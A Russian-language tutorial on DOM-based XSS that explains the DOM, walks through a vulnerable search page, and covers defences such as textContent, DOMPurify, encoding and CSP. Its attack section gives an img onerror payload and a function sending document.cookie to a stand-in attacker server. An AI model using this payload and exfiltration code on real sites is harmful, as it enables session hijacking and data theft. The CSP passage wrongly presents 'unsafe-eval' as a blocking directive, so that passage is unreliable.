«Ключ к пониманию DOM-based XSS — увидеть веб-страницу не как статичный документ, а как живое приложение, которое переписывает само себя на лету. Именно эта способность к самомодификации, заложенная в DOM, и открывает путь для атак, которые обходят традиционные серверные защиты.»
Как устроена «живая» страница: DOM и его влияние на безопасность
Когда браузер получает от сервера HTML-документ, он не просто отображает текст. Он строит в памяти иерархическую модель документа — Document Object Model (DOM). Эта модель — программное представление страницы, с которым работает JavaScript. Любое взаимодействие пользователя с интерфейсом, любой динамический контент — результат манипуляций с этой моделью.
Представьте, что HTML — это чертёж здания, а DOM — его виртуальный макет, с которым можно делать всё что угодно: переставлять стены, менять обои, добавлять новые комнаты. Основное отличие от чертежа в том, что эти изменения не затрагивают исходный HTML, отправленный сервером. Они происходят только в памяти браузера конкретного пользователя.
Манипуляции с DOM: примеры
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Пример DOM-дерева</title>
<style>
.highlight {
color: red;
font-weight: bold;
}
</style>
</head>
<body>
<p id="exampleParagraph">Пример текста</p>
<script>
// Получаем элемент по его идентификатору
var paragraph = document.getElementById("exampleParagraph");
// Меняем содержимое элемента
paragraph.textContent = "Измененный текст";
// Добавляем класс для изменения стилей
paragraph.classList.add("highlight");
</script>
</body>
</html>
В примере выше JavaScript находит элемент <p> и изменяет его текст и стили. Исходный HTML при этом остаётся неизменным.
DOM-based XSS: атака изнутри
DOM-based XSS — это уязвимость, возникающая, когда данные из недоверенных источников (например, параметры URL, фрагменты hash или данные из localStorage) некорректно обрабатываются на клиентской стороне и попадают в контекст, где браузер интерпретирует их как исполняемый код.
Главная особенность такой атаки в том, что вредоносная нагрузка никогда не проходит через сервер приложения. Сервер отправляет «чистый» код, а подмена происходит уже в браузере жертвы, когда скрипт на странице читает, например, параметр из URL и без проверок вставляет его в DOM. Это делает её невидимой для классичных WAF и средств анализа трафика на стороне сервера.
Механика атаки: от URL до кражи данных
Рассмотрим типичный сценарий. На сайте есть функция поиска, которая отображает введённый запрос на странице результатов.
// Уязвимый код на странице search.html
var searchQuery = new URLSearchParams(window.location.search).get('query');
document.getElementById('results').innerHTML = "Вы искали: " + searchQuery;
В обычном случае пользователь перейдёт по ссылке https://example.com/search.html?query=кошки. Но злоумышленник может сконструировать другую ссылку:
https://example.com/search.html?query=<img src=x onerror='stealCookies()'>
Когда жертва откроет эту ссылку, скрипт на странице извлечёт значение параметра query и вставит его через innerHTML. Браузер увидит новый элемент <img> и попытается его загрузить. Атрибут src=x заведомо неверный, что вызовет событие onerror, в котором и выполнится вредоносная функция stealCookies().
Вот как может выглядеть код для кражи сессии:
function stealCookies() {
var stolenData = document.cookie;
// Отправка данных на сервер злоумышленника
var img = new Image();
img.src = 'https://attacker-server.com/collect?data=' + encodeURIComponent(stolenData);
}
Обратите внимание: сервер example.com в этом процессе не участвует. Он лишь отдал статичную страницу search.html со скриптом, который сам стал инструментом атаки.
Источники опасных данных и точки вставки
Чтобы искать или предотвращать DOM XSS, нужно знать, откуда данные могут прийти и куда они могут попасть.
| Источники (Sources) | Точки вставки (Sinks) |
|---|---|
|
|
Атака происходит, когда данные из колонки «Источники» попадают в «Точки вставки» без санитации.
Последствия и риски для бизнеса
Помимо кражи сессионных cookies, что ведёт к компрометации учётных записей, DOM XSS может быть использован для:
- Подмены интерфейса: внедрение фальшивых форм ввода логина или платёжных данных прямо на легитимной странице.
- Клиентской дефейсации: изменение контента на политически или коммерчески опасный.
- Распространения вредоносного ПО: использование уязвимости для запуска эксплойтов, атакующих браузер или плагины.
- Обхода CSP: определённые векторы DOM XSS могут нивелировать политики безопасности контента, если они неправильно настроены.
С точки зрения регуляторов (например, выполнения требований 152-ФЗ о защите персональных данных), наличие такой уязвимости — прямое нарушение требований к безопасности обработки ПДн, так как создаёт риск их утечки.
Стратегии защиты: от базовых до продвинутых
1. Выбор безопасных методов работы с DOM
Самое простое правило: никогда не вставляйте недоверенные данные в innerHTML или outerHTML. Вместо этого используйте безопасные свойства.
// Опасно
document.getElementById('output').innerHTML = userInput;
// Безопасно
document.getElementById('output').textContent = userInput;
Если необходимо добавить разметку, рассмотрите использование современного API DOMPurify для очистки HTML на стороне клиента.
2. Валидация и кодирование на стороне клиента
Помните, что серверная валидация здесь бессильна. Необходимо реализовать клиентскую санитацию данных перед вставкой в DOM. Кодирование должно соответствовать контексту:
- HTML-контекст: заменяйте
<на<,>на>,&на&. - Атрибутный контекст: дополнительно экранируйте кавычки.
- JavaScript-контекст: (если данные всё же нужно передать в скрипт) используйте JSON-сериализацию.
Для URL-параметров применяйте встроенные функции кодирования: encodeURIComponent() для значений и encodeURI() для целых URI.
3. Content Security Policy (CSP)
Правильно настроенная CSP — мощнейший барьер. Директива script-src 'self' запретит выполнение inline-скриптов и скриптов с внешних доменов. Для полного блокирования DOM XSS, основанных на eval() или строковом создании функций, используйте директиву script-src 'unsafe-eval', но лучше от неё отказаться.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Важно понимать, что CSP не исправляет уязвимость, а лишь значительно усложняет её эксплуатацию.
4. Практики безопасного кодирования
- Избегайте
eval(),setTimeout()иsetInterval()со строковыми аргументами. - Для работы с URL используйте объекты
URLиURLSearchParams, а не ручной парсинг строк. - Регулярно проводите статический анализ кода (SAST) и динамическое тестирование безопасности (DAST) с акцентом на клиентские JavaScript-фреймворки.
Заключение
DOM-based XSS — это не архаичная угроза, а актуальный риск для современных SPA-приложений, построенных на React, Vue или Angular. Фреймворки предлагают встроенные механизмы экранирования (например, JSX в React по умолчанию экранирует данные), но они не панацея. Уязвимость может проникнуть через неправильное использование опасных API, таких как dangerouslySetInnerHTML, или через сторонние библиотеки.
Борьба с этим типом атак требует смещения фокуса безопасности. Помимо защиты периметра, необходимо внедрять безопасные практики разработки на клиентской стороне, жёстко контролировать потоки данных внутри приложения и использовать защитные механизмы браузера, такие как CSP. В контексте российских требований по защите информации это становится не просто рекомендацией, а обязательным элементом безопасной архитектуры веб-сервиса.